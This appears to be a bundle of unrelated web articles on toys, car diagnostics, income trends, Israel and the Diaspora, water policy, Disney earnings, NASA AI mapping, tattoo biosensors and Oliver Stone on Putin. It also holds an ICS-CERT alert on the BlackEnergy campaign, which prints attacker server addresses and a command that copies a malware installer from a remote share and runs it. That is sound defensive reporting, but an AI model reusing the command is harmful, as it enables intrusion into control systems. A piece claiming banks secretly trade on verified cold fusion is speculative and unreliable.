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Funko just introduced The Disney Afternoon Collection of Mystery Minis, and we have to refrain from going overboard by collecting each and every tiny character. But then again, you can never have too many. This series welcomes many more itty bitty friends this November, including Huey, Dewey, Louie, Launchpad McQuack, Baloo, Monterey Jack, and Chip and Dale—all ready to line up along your desk. Check out this assortment of new characters from your favorite TV shows and side-scrolling games in Funko form: Be on the lookout for exclusives! You can pick up the Junior Woodchucks, which are exclusive to Gamestop. Next time you’re at Toys“R”Us, keep an eye out for Shere Khan, Louie, and Negaduck. Get your hands on Hot Topic exclusives, including Magica DeSpell, a swimming Scrooge McDuck, and Negatron. Which Funko miniatures are you hoping to unwrap in your blind box? Cross your fingers and let us know in the comments! Posted 1 year Ago |
Wireless car diagnostic tool I have used this for several months to troubleshoot and diagnose various automotive problems on several vehicles ranging from a 1997 Saturn SL1 to a 2010 Infiinti G35 and a 2014 Jeep Compass. Unlike the standalone handheld OBDII Can-bus diagnostic computers, which can cost upwards of $150, this device is only about $12. It uses your Android or iPhone smartphone as a wireless display and works both to tell you the diagnostic error codes that trigger your check engine light as well as a real-time diagnostics information display that can be used to troubleshoot performance problems while the engine is operating. The application you need to do this is free. There are also paid apps that turn this unit and your smartphone into a tool for improving fuel efficiency through real-time monitoring and analysis of your car’s sensors. One major advantage of this tool is that the Bluetooth connection has a 30′ range, which allows you to read the display without actually being in the vehicle. This means you can check under the engine hood or under the vehicle while still being able to read the diagnostics displays, which is really not possible with the older wired tools. This can make testing and troubleshooting much simpler. -- Dan Kim |
ICS-CERT originally published information and technical indicators about this campaign in a TLP Amber alert (ICS-ALERT-14-281-01P) that was released to the US-CERT secure portal on October 8, 2014, and updated on December 10, 2014. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov . While there are many open source reports of BE3, this is the first opportunity ICS-CERT has been able to provide results of malware analysis. In a departure from the ICS product vulnerabilities used to deliver the BE2 malware, in this case the infection vector appears to have been spear phishing via a malicious Microsoft Office (MS Word) attachment. ICS-CERT and US-CERT analysis and support are ongoing, and additional technical analysis will be made available on the US-CERT Secure Portal. Recent open-source reports have circulated alleging that a December 23, 2015, power outage in Ukraine was caused by BlackEnergy Malware. ICS-CERT and US-CERT are working with the Ukrainian CERT and our international partners to analyze the malware and can confirm that a BlackEnergy 3 variant was present in the system. Based on the technical artifacts ICS-CERT and US-CERT have been provided, we cannot confirm a causal link between the power outage with the presence of the malware. However, we continue to support CERT-UA on this issue. The YARA signature included with the original posting of this alert has been shown to identify a majority of the samples seen as of this update and continues to be the best method for detecting BlackEnergy infections. ICS-CERT has identified a sophisticated malware campaign that has compromised numerous industrial control systems (ICSs) environments using a variant of the BlackEnergy malware. Analysis indicates that this campaign has been ongoing since at least 2011. Multiple companies working with ICS-CERT have identified the malware on Internet-connected human-machine interfaces (HMIs). This alert update is a follow-up to the updated NCCIC/ICS-CERT Alert titled ICS-ALERT-14-281-01D Ongoing Sophisticated Malware Campaign Compromising ICS that was published February 2, 2016, on the ICS-CERT web site. DETAILS ICS-CERT has determined that users of HMI products from various vendors have been targeted in this campaign, including GE Cimplicity, Advantech/Broadwin WebAccess, and Siemens WinCC. It is currently unknown whether other vendor’s products have also been targeted. ICS‑CERT is working with the involved vendors to evaluate this activity and also notify their users of the linkages to this campaign. At this time, ICS-CERT has not identified any attempts to damage, modify, or otherwise disrupt the victim systems’ control processes. ICS-CERT has not been able to verify if the intruders expanded access beyond the compromised HMI into the remainder of the underlying control system. However, typical malware deployments have included modules that search out any network-connected file shares and removable media for additional lateral movement within the affected environment. The malware is highly modular and not all functionality is deployed to all victims. In addition, public reports reference a BlackEnergy-based campaign against a variety of overseas targets leveraging vulnerability CVE-2014-4114 (affecting Microsoft Windows and Windows Server 2008 and 2012). ICS-CERT has not observed the use of this vulnerability to target control system environments. However, analysis of the technical findings in the two report shows linkages in the shared command and control infrastructure between the campaigns, suggesting both are part of a broader campaign by the same threat actor. ICS-CERT strongly encourages asset owners and operators to look for signs of compromise within their control systems environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation. CIMPLICITY ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet. Analysis of victim system artifacts has determined that the actors have been exploiting a vulnerability in GE’s Cimplicity HMI product since at least January 2012. The vulnerability, CVE-2014-0751, was published in ICS‑CERT advisory ICSA-14-023-01 on January 23, 2014. Guidance for remediation was published to the GE IP portal in December 2013. GE has also released a statement about this campaign on the GE security web site. Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server. Date Request Type Requestor IP Screen Served 1/17/2012 7:16 Start <attackerIP> //212.124.110.146/testshare/payload.cim 9/9/2013 1:49 Start <attackerIP> //46.165.250.32/incoming/devlist.cim 9/10/2014 3:59 Start <attackerIP> \\94.185.85.122\public\config.bak Figure 1. Log entries showing execution of remote .cim file. ICS-CERT has analyzed two different .cim files used in this campaign: devlist.cim and config.bak. Both files use scripts to ultimately install the BlackEnergy malware. devlist.cim: This file uses an embedded script that is executed as soon as the file is opened using the Screen Open event. The obfuscated script downloads the file “newsfeed.xml” from the same remote server, which it saves in the Cimplicity directory using the name <41 character string>.wsf. The name is randomly generated using upper and lower case letters, numbers, and hyphens. The .wsf script is then executed using the Windows command-based script host (cscript.exe). The new script downloads the file “category.xml,” which it saves in the Cimplicity directory using the name “CimWrapPNPS.exe.” CimWrapPNPS.exe is a BlackEnergy installer that deletes itself once the malware is installed. config.bak: This file uses a script that is executed when the file is opened using the OnOpenExecCommand event. The script downloads a BlackEnergy installer from a remote server, names it “CimCMSafegs.exe,” copies it into the Cimplicity directory, and then executes it. The CimCMSafegs.exe file is a BlackEnergy installer that deletes itself after the malware is installed. cmd.exe /c “copy \\94[dot]185[dot]85[dot]122\public\default.txt “%CIMPATH%\CimCMSafegs.exe” && start “WOW64” “%CIMPATH”\CimCMSafegs.exe” Figure 2. Script executed by malicious config.bak file. Analysis suggests that the actors likely used automated tools to discover and compromise vulnerable systems. ICS-CERT is concerned that any companies that have been running Cimplicity since 2012 with their HMI directly connected to the Internet could be infected with BlackEnergy malware. ICS-CERT strongly recommends that companies use the indicators and Yara signature in this alert to check their systems. In addition, we recommend that all Cimplicity users review ICS-CERT advisory ICSA-14-023-01 and apply the recommended mitigations. WINCC While ICS-CERT lacks definitive information on how WinCC systems are being compromised by BlackEnergy, there are indications that one of the vulnerabilities fixed with the latest update for SIMATIC WinCC may have been exploited by the BlackEnergy malware. ICS-CERT strongly encourages users of WinCC, TIA Portal, and PCS7 to update their software to the most recent version as soon as possible. Please see Siemens Security Advisory SSA-134508 and and ICS‑CERT advisory ICSA-14-329-02D for additional details. ADVANTECH/BROADWIN WEBACCESS A number of the victims associated with this campaign were running the Advantech/BroadWin WebAccess software with a direct Internet connection. We have not yet identified the initial infection vector for victims running this platform but believe it is being targeted. DETECTION |
President Ronald Reagan might have clinched the 1980 election when he asked: "Are you better off now than you were four years ago?" Today the question is: Are you better off than your parents were 50 years ago? According to a study by the National Bureau of Economic Research (NBER), the answer -- at least in terms of paychecks -- is no. Most Americans are worse off, and becoming even more worse off, if possible. In particular, men have endured "stagnation in lifetime incomes," said the NBER report, with earnings that have dropped 19 percent when inflation, as measured by the Consumer Price Index (CPI), is taken into account. In real dollars, males have lost close to $300,000 in lifetime earnings compared to the generation that came of age during the 1950s and 1960s boom years. So, what did those "Mad Men" have that subsequent generations lacked? "Back then, the economy was going full-throttle," said Kim Blanton of the Center for Retirement Research at Boston College. In contrast, boomers walked into "twin 1980s recessions in heavy industries and two high-tech booms and busts." Feds: In parts of Bay Area, $100,000 considered "low income" For men, the news gets even worse, according to the Bureau of Labor Statistics. Their "participation in the civilian labor market has been dropping steadily since 1950, when it was 86 percent. It's now about 70 percent and is expected to drop even further in future years." Not very encouraging for millennials. For women, the news is somewhat better. Their median lifetime income rose 33 percent as their participation in the workforce grew from 34 percent in 1950 to a high of 60 percent in 2000. But the NBER study showed that the gains look less impressive when measured against the low base from which they started. "Women's earnings are higher because more of them are working," said Greg Kaplan, an economics professor at the University of Chicago and an author of the study. The NBER study was unique because it looked at earnings, as measured by individual income histories from the U.S. Social Security Administration, from 1957 to 2013. Overall, the study showed a steady decline for most Americans. "The total amount of income earned by the U.S. population has increased substantially during this time," said Kaplan, "but much of that increase has gone to women. A lot has also gone to older people because there are more of them. And much of it has also gone to the top, to the 0.1 percent." Kaplan said that after bottoming out in the 1960s, the top 1 percent and top 0.1 percent shares of total income have been rising steadily, an already well-known trend. While in the interim, the lifetime income for 90 percent of all men has decreased. Salary reveal shows shocking gender pay gap This could mean women have had to fill in the wage gap for men who are either unemployed or not earning what they used to. Although the study didn't address the subject of two working people per household, Kaplan said it's likely that "some of the stagnation in income at the household level may be made up by the double earnings." Women may not be working because they want to, but because they have to. And could have even more than one job. The often-portrayed stay-at-home mom TV image may not exist anymore, not because all women want a career, but rather because they have to help feed the family. The gains that women made in income are expected to level off in coming years, according to the NBER study, as women's participation in the labor force drops below 60 percent. "One disturbing trend is how the declines are concentrated among younger people," said Kaplan. "You might think that older people would find it harder to adapt to the changing market, but it seems that younger people have been affected just as much if not more. And the increase in inequality is likely to continue." Looking at lifetime incomes is a more realistic way of comprehending how much people earn, rather than observing only one point in time because earnings can vary sharply during a working career, said the NBER study. It cited a medical intern who might earn $40,000 now, but will likely end up in the top five percent in lifetime income. In contrast, an NFL rookie may earn $400,000 his first year, but could easily plummet out of the top 10 percent over his lifetime. The NBER study cuts both ways politically. It reinforces the mantra of Vermont Sen. Bernie Sanders that more income is flowing to the top 1 percent and to the top 0.1 percent, whose annual earnings are in the $7.2 million range, according to Kaplan's calculations. But it also explains why so many men are angry at being stuck on an economic treadmill -- and why President Donald Trump's message seems so appealing. "I can see why people are frustrated," said Kaplan, a native of Australia. "But I try to stay out of politics." |
Now that distribution of its questionnaire has been canceled, the proposed poll of American Jews and Israeli immigrants to America, commissioned by a Los Angeles organization called the Israeli American Council with the initial collaboration of the Israeli Embassy in Washington, will presumably fade from the headlines. Yet the issues raised by it are real; they need to be talked about without the hypocrisy that until now has accompanied discussions of them. The poll sought to determine, among other things, which country American Jews would side with in case of a serious confrontation between Israel and the United States. As such, it was rightly criticized for conjuring up the specter of “dual loyalty” that Jews in America and elsewhere have been accused of by their enemies. There’s certainly no need to provide extra grist for the anti-Semitic mill. Yet it’s also time to stop pretending that the loyalties of some American Jews aren’t divided between Israel and America. Of course they are. There’s just nothing wrong with it — nor is there anything uniquely Jewish about this. You’ll find plenty of similar cases in other places. The truth is that any American Jew who doesn’t care as much about a Jewish state as he or she does about the United States can’t be very identified with the Jewish people. Suppose vital American and Israeli interests were to clash. What would it mean for a Jew to say: ”I don’t give a damn what’s best for Israel. All that matters to me is what’s best for America”? What kind of Jew would that be? How deep could his or her Jewishness be said to go? But one could ask a similar question about tens of millions of other Americans. Do Cuban Americans who have pressed for decades for harsh American policies toward Communist Cuba ask whether these are really in America’s interest? It’s enough for them to tell themselves that they’re in Cuba’s interest. Do Mexican Americans favor a relaxation of immigration laws because they think America’s general public will benefit? What they think, you can be sure, is that other Mexicans will benefit — and why shouldn’t they want them to? Nor does this extend just to questions of ethnic solidarity. Suppose, for example, that you’re an American human rights activist campaigning against the exploitation of cheap labor in China. Does it bother you that such exploitation might actually be good for America, since it lowers the price of many items for the American consumer? Not at all. Your loyalty is not to the American consumer, it’s to the exploited Chinese worker — and you’re not embarrassed by it, either. Of course, it’s possible to rationalize all these things in terms of American interests, too. One can argue that the end of communism in Cuba would serve the goals of American foreign policy, that more Mexican immigrants would be a spur to America’s economy and that the United States would be a better society if it didn’t live off the underpaid work of others, just as one can argue that Israel should always be supported by a democratic United States because it’s a bastion of democracy in the Middle East. If one is honest about one’s motives, though, one will admit that there is more to them than that. It’s a convenient myth to tell oneself that what’s good for Israel will always be good for America and vice versa, but a myth is all it is. We live with dual loyalties in many spheres. Our loyalties to members of our families can clash, as can our loyalties to friends, to colleagues at our workplace, to the businesses we patronize and the teams we root for; why insist that only our loyalties to countries and their citizens should be immune? Why shouldn’t an American Jew be able to say, without being considered a potential Jonathan Pollard, “Yes, America’s and Israel’s interests diverge on this point, and Israel’s are more important to me”? This wouldn’t make him or her a traitor; it would simply make the person more truthful. Life as a Jew in the Diaspora has its advantages over life as a Jew in Israel: It’s safer, more affluent, less stressful. But it has its disadvantages, too — one of them being that, as a Jew, and to the extent that one is more of one rather than less of one, one’s loyalties are inevitably divided. They have to be; there’s no way they can’t be. That’s part of the burden of being a committed Diaspora Jew. There’s no need to quantify it in public opinion polls, but neither is there any way to sweep it under the rug. Hillel Halkin is an author and translator who has written widely on Israeli politics and culture and was the Forward’s Israel correspondent from 1993 to 1996. This story "Why American Jews Shouldn't Be Afraid To Put Israel First" was written by Hillel Halkin. |
A Crude LENR Hypothesis The Commitment of Traders Report reveals interesting data. For two years now, Sifferkoll has been following the energy markets in relation to a possible LENR (cold fusion) technological breakthrough. The basic idea is that, if there is an information advantage, the big banks will acquire it and use it to make as much money as possible. If such actions can be shown, it is in itself good indications of a proven breakthrough. And there is money to be made. Not yet from the new technology, but from a plunging energy market (oil, coal, natural gas, etc.). The Commitment of Traders report (CoT) published weekly by CFTC (U.S. Commodity Futures Trading Commission) has been analysed. This report shows the actions and positions of the different market participants in the crude oil futures market. It reveals some interesting data. Fig 1, Crude oil futures; price, CoT (standard & disaggregated report). Please click to enlarge. At some point during the fall of 2010 there was a large policy shift in hedging crude oil on the NYMEX futures exchange by the big banks and the oil companies. Up to that point the hedgers of crude have largely been the producers as they want to hedge their production against future price movements. On the buy side there was the big financial institutions (Swap Dealers = JP Morgan, Goldman Sachs, etc), and the money managers (large pension funds, hedge funds, etc.), that speculate in a price increase. But during the fall of 2010 this state of affairs changed. From being net-long 200 thousand contracts, the banks became net-short in a couple of months. Their selling has since continued. And now, by March 2013, they are net-short 300 thousand contracts (300 million barrels of oil = $30 billion). See the green lines in the chart above. At the same time the producers have liquidated their 200 thousand contract short position (blue line above). They are no longer hedging as they used to. And they've done it in a very consistent way. It looks almost unreal, buying an equal amount of contracts each month for two years. Related article: Anadarko's Horizontal Wattenberg Wells are Moneymakers During this time the banks have consistently been using a strategy to buy weakness and sell strength during their massive net-selling. As if their strategy was to build a huge short position and at the same time stabilize price. The conclusion is that the banks are now net-short about 300 thousand contracts at a price about $90-$95. On the buy side the money managers went from being neutral by fall of 2010 to being net-long 250 thousand contracts as of today. This is of course the big funds, and in the end pensions and savings. They are now net-long oil and of course net-long all the producers (oil stocks). Researching this strategy change has given very little information. One article though, from July 2012, touches on the subject. No answers and no explanations though. Insidefutures.com Following the Commitments of Traders Report (CoT) does however reveal a great deal of information. The standard report shows the commercial traders, (oil companies and banks), large speculators (big funds) and smaller speculators (the rest). The disaggregated report also shows the position of banks and producers respectively. Both these reports are shown in the graph above. The combination does tell us that something is going on, but what? Something real is going on, but what? Why are the producers abandoning their decade long hedging strategy? Why are the banks selling oil like crazy and at the same time actively acting to stabilize the market, probably in the range $80-$100? What information do the big banks and big oil use to make these decisions? Is this information readily available? Hypothetically: What if the first customer of Rossi actually is the US Navy? What if the US Navy know for sure that the 1MW E-cat works (because they have bought several)? What if they actually knew this even before the first public demo of the E-Cat in January 2011? Since the test was decided upon sometime during the fall of 2010 and Rossi himself says he had run a heater in a Bologna factory during a year before that, it looks reasonable. So let’s assume that this is the case. It is certainly in the big banks interest to know about these things, and they do have the resources to find out, and keep quiet about it. It is also well known that US entities like SPAWAR and NASA have researched LENR for some time. There are documents that show that they acknowledge the technology and have done so for some time. However, so far, not on the industrial scale of the 1 MW E-cat. Since US entities acknowledge LENR, they did what was needed to verify the E-cat when they heard about it. Because even if they thought the E-cat was a scam, they could not afford not to check on it. Even a minute chance that Rossi was on to something would cover the expense and risk. The money involved are simply too big for a miss like that. Also, if US military entities know, then the big banks know, and at least the producers where the big banks have big interests know. Anyhow, they certainly know by now if the first customer is the US Navy, as Rossi (almost) says, and nobody denies. The thirty billion dollar question is how to make as much money as possible from this information. First they probably thought that the E-Cat demo could get the price of oil to drop already in the beginning of 2011. They certainly was prepared for it by February 2011, as the aggregated net-short position of big banks and producers was in excess of 300 thousand contracts already at that time. But the price went up, since media did not catch on and other issues (like the war in Libya) were much more important for the oil market at the moment. When the plunge didn't happen a new strategy evolved. The producers then started to liquidate their short positions in a very consistent way. This short position have been taken over by the banks probably in cooperation and as a risk reducing strategy, although not as consistently, since they've been trading against the market most of the time, buying weakness, selling strength. Related article: Renewable Energy Companies to Keep an Eye On By the time of the 1MW demo they probably had Rossi more under control as they simply became the first and only customer for all the 1 MW E-Cats he could produce during the coming 18 months. They played the game the way Rossi wanted it (as his goal is mainly to sell the E-Cats he produce). And since very few people take Rossi seriously there was no problem keeping the news out of media and off the Internet (except for some dedicated sparsely visited sites). So. What if the banks know about LENR and they are preparing for the oil price to plunge. It would make some kind of sense looking at their actions. It's reasonable to expect that when the possibilities of LENR becomes widely known by the public, that will be the case. It might drop by 80%, or to the production costs of the easy access reserves. New explorations will be abandoned, shale oil & gas, deepwater oil and oil sands will be abandoned, other green technologies, like biofuels, solar and wind, will also be abandoned, etc. The long term growth potential of the oil industry will vanish in a day. Actually, we already see signs of this development as several large oil fields are up for sale or already sold. There is a widespread divestment strategy among big oil (Shell, BP 1, BP 2, Exxon, ConocoPhillips, etc.) If this happens oil stocks will plunge as well, since their stock price reflects many years of potential growth and huge profits, which will evaporate within 10 years. The hedge that they used to have, will then be of limited use, since the stocks will fall for other reasons anyway. The strategy is probably to let the banks profit from the price movements directly instead. The managements of big oil are probably an important part of the deal, since they will, of course, benefit personally. But the oil business, as the most profitable business in the world, will be history. Big oil will simply merge with big banks in the form of big cash, but only after the oil stocks have crashed. Meanwhile the strategy of the banks is to sell oil and oil stocks to the money managers as much as possible while keeping the price in the desired price range of $80-$100. They will keep doing this until the news of almost free green and unlimited energy reaches the public. This can happen within a couple of months with a good third party test or any other serious breakthrough in LENR area, or it can take much longer. The banks will buy as much time as they can by keep satisfying Rossi with discrete orders and inducing doubt in media, while increasing their net-short positions. The longer it takes, the better for the banks. They already have the information advantage. Looking at the forecasts from the big banks it's obvious that they produce forecasts in the $90-$100 range for the coming year(s). The problem they have is one, to defend the low price of oil in this peak-oil-era and secondly to avoid price hikes which will result in huge paper losses on their books, from their short positions. They seem to do this by pushing information on new developments of shale, deepwater oil and Canadian oil sands to anchor the price at about $90, and at the same time induce hope in new abundant resources (Reuters, Financial Times, FoxBusiness). There are, however, several reports stating that the costs are too high and the volumes way too low for these new resources (Zerohedge). It's a delicate balance act. The real reason for the relatively low range bound price of crude for the last two years, is simply huge short selling and anti-trend trading by the big financial institutions (JP Morgan, Goldman Sachs, etc.). The reasons for this might be a political agenda executed by these ”swap dealers” to keep the price in a certain range for macroeconomic growth reasons, or maybe, which is the hypothesis of this report, they know something that is not yet publicly accepted. LENR might already be a technological fact on the industrial scale, and not further away in time than the banks can manage to keep it secret. This makes a huge difference on the outcome. Maybe this is exactly what they know. It certainly would not be surprising if they have verified the E-Cat and actively trade on that information. The information advantage is huge and so are the potential profits. By. Torkel Nyberg |
Smart leak detection and reusing stormwater to reduce urban heat are discussed at this year’s OzWater as cities prepare for climate change For the international water industry delegates descending upon Melbourne last week, in the leadup to OzWater 16, it must have seemed they had arrived in the wrong place. The torrential rain and flash floods inundating the city appeared at odds with Australia’s billing as the driest inhabited continent in the world, and certainly made for an unlikely setting to host a conference focusing on sustainability in a future of increasingly scarce water supplies. In reality, though, the wild weather was a perfect example of the Australian predicament: extended periods of drought interrupted by extreme downpours, a pattern that has long existed on this desert continent and one that promises to become familiar to more and more people around the world as climate change kicks in. Hosted by the Australian Water Association, OzWater is an annual three-day water industry conference and exhibition, and one in which organisers hope can enable Australia to learn from the world and vice versa. Rainwater harvesting and rooftop solar: world's greenest shopping centre could be Australian Read more AWA’s chief executive, Jonathan McKeown, said a major focus of the event, which featured more than 200 speakers, was the challenge of urban population expansion, which in Australia represented 83% of all population growth over 2014-15, according to the Australian Bureau of Statistics. This population rise in Australia is reflective of world trends, with the UN world urbanization prospects report observing the 2014 global urban population of 3.9 billion is on track to balloon out to 6.4 billion by 2050, during which time rural populations are projected to decline. With rising urban populations and climate change putting pressure on water supplies, the conference heard from speakers with ideas about ways to improve the efficiency of water systems. Among the speakers was Amir Peleg, chief executive of the Israel-based startup TaKaDu, in Australia to spruik his company’s smart leak detection sensor technology, which uses meter and sensor readings to deliver live alerts about inefficiencies and water loss via statistical algorithms. The company counts four big Australian utilities companies – Yarra Valley Water, Sydney Water, Queensland Urban Utilities and Unitywater – among its global portfolio of clients, and Peleg said he would be negotiating more contracts while he was in the country. According to Peleg, Australia and his native Israel share not only an arid climate, but an understanding of the importance of conserving water and an openness to new solutions. “Traditionally, everyone thinks of the water industry as low tech, plumbers and that sort of thing,” he said. “But it’s not about the technologies, not about smart sensors, not about clouds – all the ingredients exist already. “It’s about the people: management, staff, public, politicians. Sometimes they need to make a change, accept that in the past things weren’t that good and we need to make it better and, to do that, you need data.” He pointed to the Sunshine Coast-based Unitywater, one of his Australian clients, as an example of a company that saved huge amounts of water via TaKaDu’s software. “Unitywater was a merger of six local councils that perhaps did not have the best technology, very conservative – but new management saved six to seven billion litres of water, improved customer services, reduced their repair cycle by two-thirds, and got plenty of positive publicity,” he said. “The software is only as good as the people who use it. They established a team with great people with new skill sets, more staticians in addition to plumbers. Now they know about leaks before someone even calls them and, instead of building a whole new desalination plant, they just saved water.” ClimateWorks Australia’s chair, John Thwaites, who was one of the keynote speakers, said water authorities could look beyond climate change to other ways they can improve livability. “Water-sensitive cities planning can help deliver healthier cities for people and for the environment,” he said. “For example, using stormwater to promote additional tree canopy cover can reduce urban heat and the risk of heat stress.” Cities that steal smart ideas from plants and animals Read more He noted that water authorities don’t just have to face up to the challenges of climate change, but their role in contributing to it as well. “Water authorities need to be much more energy-efficient as well as using renewable energy to power their operations,” he said. “Water authorities can expand their use of mini-hydro schemes, waste-to-energy and renewables like wind and solar. “Unfortunately, climate policy in Australia has been all over the place and this has led many water authorities to halt the action that is needed.” Paul Collier from the consultancy group Beca told the conference that rising water and energy demands fed into each other. “Much energy production requires significant amounts of water, which has in recent years given rise to a growing international focus on what is described as the water-energy nexus. “These factors are compounded by a growing water scarcity, which is creating a global drive for alternate water sources, such as recycling and desalination.” But Beca said these novel approaches were increasing energy demands, with the globe’s 1,700-odd desalination plants consuming an annual 75,000 gigawatt hours, of which only 1% is renewably sourced. For all the diverse ideas in discussion at OzWater 16, one common theme permeated – whether it is leaking pipes on the Sunshine Coast or the stormwater washing down drains in the wake of a Melbourne thunderstorm, Australia soon won’t be able to afford to let a drop of water go to waste, and neither will the rest of the world. |
LOS ANGELES — The Walt Disney Company said on Tuesday that its quarterly profit totaled $2.25 billion, a 22 percent increase from the year-ago period, helped in large part by the success of its Marvel franchise. That profit translated to $1.28 a share, well ahead of the $1.17 a share that analysts had expected. Revenue totaled $12.47 billion for the quarter, an 8 percent increase. Strong domestic theme park attendance and a fourth consecutive profitable quarter at Disney’s video game division contributed to the outsize results. But a primary factor in the better performance appeared to be Marvel Entertainment, which Disney acquired in 2009. “Captain America: The Winter Soldier,” which has taken in $713.6 million worldwide since its April debut, bolstered Walt Disney Studios, where operating income more than doubled. Rerun sales of a TV drama, “Marvel’s Agents of S.H.I.E.L.D.,” helped lift operating income at Disney’s broadcast division by 66 percent. |
NASA’s Frontier Development Lab collects a lot of data. It’s one of the main things it does when it’s not landing things on other things. But actually deriving useful information from all the data it collects is another issue entirely, so it has begun enlisting some big tech names like Intel to crunch some of those numbers. That partnership includes Nervana, the deep learning startup the chip maker acquired back in 2016, which it’s leveraging to translate those numbers into useful information. With the AI system, researchers were able to crunch around 200TB of data, drawing from 3D imagery of the moon gathered by an army of survey satellites. From there, researchers generated maps of the moon’s poles, overcoming the difficulty of detailing craters located in the shadowy surface regions. Intel engineers team up with @NASA to support #AI and deep learning technologies for space exploration challenges. pic.twitter.com/qc8nvuoZBJ — Intel AI (@IntelAI) August 17, 2017 “[Scientists]’ gathering of data far outpaced their ability to make sense of it,” Intel’s General Manager, Artificial Intelligence Products Group Naveen Rao told TechCrunch. “The research world usually has less access to the latest and greatest compute tools than a lot of the companies out there. But as a scientist, I fundamentally believe that we need to make sure we support those efforts.” Rao says the researchers were able to churn through the data in around two and half weeks, using mostly off-the-shelf technology from the company. The Nervana system was able to finish tasks it takes human researchers two or three hours to do in around a minute, with resulting accuracy rate of around 98.4-percent. That data means that NASA’s Frontier Development Lab can determine better landing points on the surface for lunar rovers that will, among other things, increase solar exposure to help power on-board functions. It also has the potential to help it reach its goal of deploying self-driving rovers, which would benefit from more complex lunar surface imagery. The program was part of an eight week summer even at NASA’s Frontier Development Lab designed to find methods for harnessing artificial intelligence for a wide scope of problems, from retrieving space-based resources to providing planetary defense. |
Researchers have developed a biosensing tattoo ink that reacts to sugar in the blood to help diabetics control their conditions. The colour-changing ink turns the body's surface into an 'interactive display' to alert diabetics when their blood sugar is too low or high. When blood sugar goes up, the glucose sensing ink changes from blue to brown in real-time, a colour change that reverses when blood sugar drops. Scroll down for video ‹ Slide me › Researchers have developed a tattoo ink that reacts to sugar in the blood to help diabetics. When blood sugar goes up, the glucose-sensing ink changes from blue (left) to brown (right), and vice-versa. Pictured is the ink being tested on a skin model HOW IT WORKS The ink senses changes to the body's interstitial fluid - the liquid that surrounds tissue cells in the body. When the glucose sensing tattoo ink senses a change in blood sugar levels, it changes colour. If blood sugar is low, it changes from brown to blue, and if high, it changes from blue to brown. The tattoos could one day act as a non-invasive method for diabetics to control their condition. The researchers also developed inks that sense salt and pH levels. The ink acts as a biosensor that reads interstitial fluids - the liquids that surround tissue cells in the body. Other biosensing tattoo inks developed by the team, from the Massachusetts Institute of Technology, monitor the body's salt and pH levels. The salt sensing inks, which track the mineral by measuring sodium levels, fluoresce under UV light, shifting to an intense green when high salt levels are detected. The pH sensing inks respond to alkalinity and change from pink to purple as it increases. The researchers suggest that their tattoo inks, which they say are currently just at the 'proof of concept' stage, could offer new ways of monitoring the body. For diabetics, the glucose sensing ink provides a way to track blood sugar levels without having to prick the skin and take a blood sample every few hours. One biosensing tattoo could tell a diabetic what dose of insulin they needed to re-balance their blood sugar at any time. The colour-changing ink turns the body's surface into an 'interactive display' to alert diabetics when their blood sugar is too low or high WHAT IS DIABETES? In both type 1 and type 2 diabetes, the body struggles to healthily maintain its own blood sugar, or 'glucose', levels. Sufferers have a high risk of heart disease, blindness, nerve damage, kidney damage, and fatigue. To combat the condition diabetics have to frequently measure their blood glucose levels and inject a corresponding dose of the hormone insulin. Insulin helps the body to take glucose into tissue cells by opening up membrane channels. Type 1 diabetes is an autoimmune disease that causes the insulin producing cells in the pancreas to be destroyed, preventing the body from being able to produce enough insulin to regulate blood glucose levels. Type 2 diabetes occurs when the body fails to use insulin properly - known to scientists as insulin resistance - and can be caused by obesity and a bad diet. 'The Dermal Abyss creates a direct access to the compartments in the body and reflects inner metabolic processes in a shape of a tattoo,' the MIT Media Lab researchers wrote in a blog post. 'It could be used for applications in continuously monitoring such as medical diagnostics, quantified self, and data encoding in the body.' It is not the first time a group of MIT researchers have created a skin-based technology. This image shows the colour changes of each biosensing ink. Other tattoo inks developed by the team, from the Massachusetts Institute of Technology, monitor the body's salt (a) and pH levels (b). The researchers' glucose-sensing ink is shown in column c The salt sensing inks, which track the mineral by measuring sodium levels, fluoresce under UV light (pictured). The ink shifts to an intense green when high salt levels are detected Last year scientists announced DuoSkin - temporary tattoos that can are sensitive to touch and can be used to control electronic devices like smartphones. Using gold leaf, the temporary transfers can be used as touch sensitive trackpads or to transmit information to a smartphone. For example, swiping left or right on the tattoo could be used to scroll through an album of pictures. Last year, an MIT team used gold and silver leaf transfers to create temporary transfer tattoos that can be used as trackpads or to transmit information to a smartphone (pictured) The process uses gold leaf, like that used in baking or adorning picture frames, to create ‘three classes’ of device. 'We believe that in the future, on-skin electronics will no longer be black-boxed and mystified,' MIT researchers wrote on their website at the time. 'Instead they will converge towards the user friendliness, extensibility, and aesthetics of body decorations.' |
Vladimir Putin is misunderstood, says director Oliver Stone Updated Oliver Stone has been called a lightning rod for controversy, and his latest project about Russian President Vladimir Putin is no exception. The veteran movie director believes Mr Putin is misunderstood and the image the West has of him is wrong. "It's a politically, ideologically driven image," he told the ABC's 7.30 program. "He's not a Communist and he doesn't think like one. He thinks like a person who is educated, who is a lawyer." Stone says he 'liked' Putin Stone formed his views during a series of interviews with Mr Putin for a four-part TV documentary called The Putin Interviews. The men met during production of Stone's film Snowden, based on whistle-blower Edward Snowden, who fled the US and now lives in Russia. "I liked him, I respected him, let's put it that way," Stone said. "He agreed to do a set of interviews that we did over two years. I did maybe 25 to 30 hours of film with him." Stone, who was in Sydney for the Vivid Ideas and Semi Permanent events, said no subjects were off-limits with Mr Putin. "I challenged him and I teased him and I angered him, I hit every note I could," he said. "The man speaks articulately about what the Russian interests are in the world and I would say to you that they're not about empire or expansion or aggression, or a return to the old days." Putin responds to hacking claims in documentary During the interviews, Stone asked the President about claims of Russian interference in last year's US election, but he was coy about revealing the response. "He answered very clearly and I asked him repeatedly as it has become a big issue in the West and I think he answered very brightly, intelligently. I can't tell you what he said, watch it for yourself and make your own judgment." Stone himself challenged claims by the US intelligence agencies about Russian hacking. So what does he think now? "I have always questioned the US intelligence agencies. The CIA has always been a very dicey operation," he said. "The Iraq war, the information they gave the president seems to be politicised intelligence in order to justify weapons of mass destruction. Again and again we see instances where the intelligence services, not just the CIA but the NSA too, and the FBI, have made huge mistakes and we've paid the price." Stone fears 'nuclear nightmare' But Stone's greatest concern for the future is the volatile relationship between Russia and the United States. "I am very worried about it. I think we are sleep-walking towards a nuclear nightmare," he said. "If you look back in 